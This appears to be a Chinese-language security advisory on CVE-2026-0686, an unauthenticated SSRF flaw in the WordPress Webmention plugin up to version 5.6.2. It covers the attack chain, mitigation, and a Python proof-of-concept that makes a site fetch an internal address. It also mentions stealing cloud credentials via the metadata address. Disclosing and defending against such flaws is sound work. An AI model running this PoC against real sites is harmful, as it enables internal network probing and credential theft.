IPBUF安全漏洞报告
English
CVE-2026-0686 CVSS 7.2 高危

CVE-2026-0686: WordPress Webmention插件SSRF漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-0686
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Webmention Plugin

相关标签

SSRFWordPress插件Webmention服务端请求伪造无需认证

漏洞概述

WordPress Webmention插件在所有5.6.2及之前的版本中存在严重的服务端请求伪造(SSRF)漏洞。该漏洞触发于`MF2::parse_authorpage`函数,攻击者无需认证即可利用。由于插件未对传入的URL地址进行有效的安全校验,攻击者可诱导服务器向内网或任意外部地址发起请求,进而探测内部网络结构、读取本地敏感文件或利用内部服务进行攻击,对服务器安全性构成严重威胁。

技术细节

该漏洞的核心在于WordPress Webmention插件在处理Webmention协议时的输入验证机制存在缺陷。当攻击者向受影响站点的接收端点发送POST请求时,`Receiver::post`函数会处理请求,并进而调用`MF2::parse_authorpage`函数来解析和获取攻击者提供的Source URL内容。关键问题在于,该函数在发起HTTP请求前,未对目标URL进行严格的格式校验和内网IP地址过滤。攻击者无需任何身份认证,即可构造包含内网地址(如127.0.0.1、169.254.169.254、内网网段等)的恶意请求。服务器会代替攻击者向这些内部地址发起请求,导致服务端请求伪造(SSRF)。这不仅使得攻击者能够探测内网拓扑结构和开放端口,还可能读取本地敏感文件或利用云服务元数据接口窃取凭证,对内网安全造成极大威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标网站使用了存在漏洞的WordPress Webmention插件(版本<=5.6.2)。
STEP 2
2. 构造恶意请求
攻击者构造一个Webmention POST请求,将'source'参数设置为内网敏感地址(如http://127.0.0.1/admin),将'target'参数设置为目标网站的任意文章链接。
STEP 3
3. 发送请求
攻击者将构造好的恶意请求发送给目标WordPress站点的Webmention接收端点。
STEP 4
4. 服务端请求伪造 (SSRF)
目标服务器接收到请求后,`Receiver::post`函数调用`MF2::parse_authorpage`函数,无条件向攻击者指定的内网地址(source)发起HTTP请求,从而泄露内网信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-0686 (SSRF in WordPress Webmention Plugin) # Usage: python3 poc.py <target_url> import requests import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <http://target-site.com>") sys.exit(1) target = sys.argv[1].rstrip('/') # The endpoint for webmention is typically /?webmention=endpoint or similar, checking standard WordPress structure # Usually handled by the plugin hooking into the post request. # Based on the vulnerability, we send a request to the receiver. # Attacker controlled server (or internal target) # In a real SSRF, 'source' would be a URL the server visits. # Here we try to make the server fetch an internal resource. internal_target = "http://127.0.0.1:80" # Example: Localhost scan victim_post = f"{target}/?p=1" # Arbitrary post ID # The Webmention payload payload = { 'source': internal_target, 'target': victim_post } print(f"[*] Attempting to trigger SSRRF on {target}") print(f"[*] Trying to force server to connect to: {internal_target}") try: # Sending POST request to the webmention endpoint # Note: The exact endpoint might vary depending on WordPress configuration, # but often it is handled by the plugin intercepting the request. # Common endpoint path discovered in similar plugins is just the base URL with specific parameters or a fixed path. # We will try the standard endpoint. # Based on the plugin code reference (Receiver::post), it listens for webmention requests. endpoint = f"{target}/wp-json/webmention/1.0/endpoint" # REST API endpoint commonly used response = requests.post(endpoint, data=payload, timeout=5) if response.status_code == 202: # Accepted print("[+] Request accepted by server. The server may have sent a request to the internal target.") else: print(f"[-] Server returned status code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

Webmention <= 5.6.2

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Webmention插件功能,或者在Web服务器层面(如Nginx/Apache)配置规则,阻断对`/?webmention=endpoint`或相关API路径的访问请求,以防止攻击者利用该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表